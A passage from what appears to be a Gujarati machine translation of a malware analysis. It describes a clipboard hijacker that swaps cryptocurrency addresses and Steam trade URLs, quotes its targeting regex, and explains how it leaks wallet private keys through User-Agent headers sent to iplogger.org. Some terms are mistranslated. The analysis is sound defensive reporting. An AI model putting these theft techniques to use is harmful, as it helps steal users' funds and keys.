BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

દરેક પ્રકારના સરનામા માટે અનુરૂપ નિયમિત અભિવ્યક્તિ છે. STEAM_URL મૂલ્યનો ઉપયોગ સ્ટીમ સિસ્ટમ પર હુમલો કરવા માટે થાય છે, જેમ કે નિયમિત અભિવ્યક્તિમાંથી જોઈ શકાય છે જેનો ઉપયોગ બફરમાં વ્યાખ્યાયિત કરવા માટે થાય છે:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

એક્સફિલ્ટરેશન ચેનલ

બફરમાં સરનામાંને બદલવા ઉપરાંત, માલવેર Bitcoin, Bitcoin Core અને Electrum Bitcoin વૉલેટની ખાનગી WIF કીને લક્ષ્ય બનાવે છે. પ્રોગ્રામ WIF ખાનગી કી મેળવવા માટે એક એક્સફિલ્ટરેશન ચેનલ તરીકે plogger.org નો ઉપયોગ કરે છે. આ કરવા માટે, ઓપરેટરો યુઝર-એજન્ટ HTTP હેડરમાં ખાનગી કી ડેટા ઉમેરે છે, નીચે બતાવ્યા પ્રમાણે.

આકૃતિ 4. આઉટપુટ ડેટા સાથે IP લોગર કન્સોલ.

ઓપરેટરોએ પાકીટ બહાર કાઢવા માટે iplogger.org નો ઉપયોગ કર્યો નથી. ક્ષેત્રમાં 255 અક્ષરની મર્યાદાને કારણે તેઓએ કદાચ અલગ પદ્ધતિનો આશરો લીધો User-AgentIP Logger વેબ ઇન્ટરફેસમાં પ્રદર્શિત થાય છે. અમે અભ્યાસ કરેલા નમૂનાઓમાં, અન્ય આઉટપુટ સર્વર પર્યાવરણ ચલમાં સંગ્રહિત હતું DiscordWebHook. આશ્ચર્યજનક રીતે, આ પર્યાવરણ ચલ કોડમાં ક્યાંય અસાઇન કરેલ નથી. આ સૂચવે છે કે માલવેર હજી વિકાસ હેઠળ છે અને ચલ ઓપરેટરના પરીક્ષણ મશીનને સોંપવામાં આવ્યું છે.

ત્યાં અન્ય સંકેત છે કે પ્રોગ્રામ વિકાસમાં છે. દ્વિસંગી ફાઇલમાં બે iplogger.org URL નો સમાવેશ થાય છે, અને જ્યારે ડેટા બહાર કાઢવામાં આવે ત્યારે બંનેને પૂછવામાં આવે છે. આમાંના એક URL ની વિનંતીમાં, રેફરર ફીલ્ડમાં મૂલ્ય "DEV /" ની આગળ છે. અમને એવું સંસ્કરણ પણ મળ્યું કે જે ConfuserEx નો ઉપયોગ કરીને પેકેજ કરવામાં આવ્યું ન હતું, આ URL માટે પ્રાપ્તકર્તાનું નામ DevFeedbackUrl છે. પર્યાવરણ વેરીએબલ નામના આધારે, અમે માનીએ છીએ કે ઓપરેટરો ક્રિપ્ટોકરન્સી વોલેટની ચોરી કરવા માટે કાયદેસર સેવા ડિસ્કોર્ડ અને તેની વેબ ઈન્ટરસેપ્શન સિસ્ટમનો ઉપયોગ કરવાની યોજના બનાવી રહ્યા છે.

નિષ્કર્ષ

આ ઝુંબેશ સાયબર હુમલામાં કાયદેસર જાહેરાત સેવાઓના ઉપયોગનું ઉદાહરણ છે. આ યોજના રશિયન સંસ્થાઓને લક્ષ્ય બનાવે છે, પરંતુ બિન-રશિયન સેવાઓનો ઉપયોગ કરીને આવા હુમલાને જોઈને અમને આશ્ચર્ય થશે નહીં. સમાધાન ટાળવા માટે, વપરાશકર્તાઓને તેઓ ડાઉનલોડ કરે છે તે સોફ્ટવેરના સ્ત્રોતની પ્રતિષ્ઠામાં વિશ્વાસ હોવો જોઈએ.

સમાધાન અને MITER ATT&CK વિશેષતાઓના સૂચકોની સંપૂર્ણ સૂચિ અહીં ઉપલબ્ધ છે કડી.

સોર્સ: www.habr.com